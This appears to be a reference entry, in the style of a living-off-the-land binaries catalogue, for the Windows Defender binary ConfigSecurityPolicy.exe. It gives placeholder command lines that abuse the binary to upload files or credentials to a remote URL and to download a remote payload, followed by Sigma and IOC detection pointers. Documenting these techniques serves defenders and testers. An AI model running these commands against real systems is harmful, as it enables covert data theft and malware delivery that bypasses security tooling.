ConfigSecurityPolicy.exe
Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.
Full path
C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exeCommands
Upload file
ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}Upload file, credentials or data exfiltration in general
os: Windows 10
Downloads payload from remote server
ConfigSecurityPolicy.exe {REMOTEURL}It will download a remote payload and place it in INetCache.
os: Windows 10, Windows 11
Detection
- Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml
- IOCConfigSecurityPolicy storing data into alternate data streams.
- IOCPreventing/Detecting ConfigSecurityPolicy with non-RFC1918 addresses by Network IPS/IDS.
- IOCMonitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching ConfigSecurityPolicy.exe.
- IOCUser Agent is "MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)"
Resources
acknowledgement: Ialle Teixeira @NtSetDefault, Nir Chako (Pentera) @C_h4ck_0